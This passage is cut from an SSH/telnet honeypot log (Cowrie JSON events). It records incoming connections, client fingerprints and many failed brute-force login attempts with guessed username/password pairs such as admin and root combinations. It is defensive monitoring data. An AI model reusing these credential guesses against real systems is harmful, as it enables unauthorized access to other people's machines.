2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:08:23.382944Z","src_ip":"14.225.217.138","session":"a739844d5838","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:08:24.053470Z","src_ip":"205.210.31.194","session":"02a42fa5a29e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:08:24.230973Z","src_ip":"182.48.68.82","session":"77df24319d09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qazwsx!@#","message":"login attempt [ubuntu/qazwsx!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:08:24.762360Z","src_ip":"14.225.217.138","session":"a739844d5838","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:08:25.030897Z","src_ip":"205.210.31.194","session":"02a42fa5a29e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:08:27.992354Z","src_ip":"14.225.217.138","session":"a739844d5838","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":9636,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c571ee0cda4","protocol":"ssh","message":"New connection: 2.57.121.112:9636 (159.203.135.109:22) [session: 0c571ee0cda4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:08:31.507963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:08:31.512619Z","src_ip":"2.57.121.112","session":"0c571ee0cda4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:08:31.618203Z","src_ip":"2.57.121.112","session":"0c571ee0cda4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"160992","message":"login attempt [admin/160992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:08:32.114541Z","src_ip":"2.57.121.112","session":"0c571ee0cda4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:08:32.130639Z","src_ip":"205.210.31.194","session":"02a42fa5a29e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"16091997","message":"login attempt [admin/16091997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:08:33.223241Z","src_ip":"2.57.121.112","session":"0c571ee0cda4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"16091972","message":"login attempt [admin/16091972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:08:34.331593Z","src_ip":"2.57.121.112","session":"0c571ee0cda4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"16081997","message":"login attempt [admin/16081997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:08:35.441095Z","src_ip":"2.57.121.112","session":"0c571ee0cda4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"16071973","message":"login attempt [admin/16071973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:08:36.549979Z","src_ip":"2.57.121.112","session":"0c571ee0cda4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:08:37.659127Z","src_ip":"2.57.121.112","session":"0c571ee0cda4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41422,"dst_ip":"10.17.0.5","dst_port":23,"session":"894d24606562","protocol":"telnet","message":"New connection: 104.245.105.2:41422 (10.17.0.5:23) [session: 894d24606562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:09:09.922099Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41434,"dst_ip":"10.17.0.5","dst_port":23,"session":"80401144fbaa","protocol":"telnet","message":"New connection: 104.245.105.2:41434 (10.17.0.5:23) [session: 80401144fbaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:09:14.970433Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.37.143.40","src_port":57251,"dst_ip":"10.17.0.5","dst_port":23,"session":"88ec75313d86","protocol":"telnet","message":"New connection: 114.37.143.40:57251 (10.17.0.5:23) [session: 88ec75313d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:09:17.373274Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.217.138","src_port":42514,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e371a325c8c","protocol":"ssh","message":"New connection: 14.225.217.138:42514 (159.203.135.109:22) [session: 0e371a325c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:09:25.558941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:09:25.563749Z","src_ip":"14.225.217.138","session":"0e371a325c8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:09:25.837944Z","src_ip":"14.225.217.138","session":"0e371a325c8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"debian","message":"login attempt [ubuntu/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:09:26.966672Z","src_ip":"14.225.217.138","session":"0e371a325c8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:09:28.243638Z","src_ip":"14.225.217.138","session":"0e371a325c8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":35192,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3949c587a5e","protocol":"ssh","message":"New connection: 182.48.68.82:35192 (159.203.135.109:22) [session: b3949c587a5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:09:28.314722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:09:28.319111Z","src_ip":"182.48.68.82","session":"b3949c587a5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:09:28.562353Z","src_ip":"182.48.68.82","session":"b3949c587a5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd12345","message":"login attempt [root/abcd12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:09:29.557025Z","src_ip":"182.48.68.82","session":"b3949c587a5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.07587456703186,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:09:30.449041Z","src_ip":"114.37.143.40","session":"88ec75313d86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:09:30.801589Z","src_ip":"182.48.68.82","session":"b3949c587a5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.35961103439331,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:09:41.281597Z","src_ip":"104.245.105.2","session":"894d24606562","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.76961278915405,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:10:09.739915Z","src_ip":"104.245.105.2","session":"80401144fbaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.217.138","src_port":60252,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad62aa2b749f","protocol":"ssh","message":"New connection: 14.225.217.138:60252 (159.203.135.109:22) [session: ad62aa2b749f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:10:24.288126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:10:24.293265Z","src_ip":"14.225.217.138","session":"ad62aa2b749f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:10:25.282727Z","src_ip":"14.225.217.138","session":"ad62aa2b749f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"QWEasd123!","message":"login attempt [ubuntu/QWEasd123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:10:26.361469Z","src_ip":"14.225.217.138","session":"ad62aa2b749f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:10:27.627241Z","src_ip":"14.225.217.138","session":"ad62aa2b749f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":52578,"dst_ip":"159.203.135.109","dst_port":22,"session":"e49ca77c9563","protocol":"ssh","message":"New connection: 182.48.68.82:52578 (159.203.135.109:22) [session: e49ca77c9563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:10:31.513094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:10:31.517468Z","src_ip":"182.48.68.82","session":"e49ca77c9563","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:10:31.758061Z","src_ip":"182.48.68.82","session":"e49ca77c9563","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazxcdew","message":"login attempt [root/qazxcdew] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:10:32.752478Z","src_ip":"182.48.68.82","session":"e49ca77c9563","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:10:33.995552Z","src_ip":"182.48.68.82","session":"e49ca77c9563","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59740,"dst_ip":"10.17.0.5","dst_port":23,"session":"b473ca1e286b","protocol":"telnet","message":"New connection: 104.245.105.2:59740 (10.17.0.5:23) [session: b473ca1e286b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:10:46.193231Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":45037,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b934385b873","protocol":"ssh","message":"New connection: 193.24.211.95:45037 (159.203.135.109:22) [session: 3b934385b873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:10:57.266098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:10:57.281579Z","src_ip":"193.24.211.95","session":"3b934385b873","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-9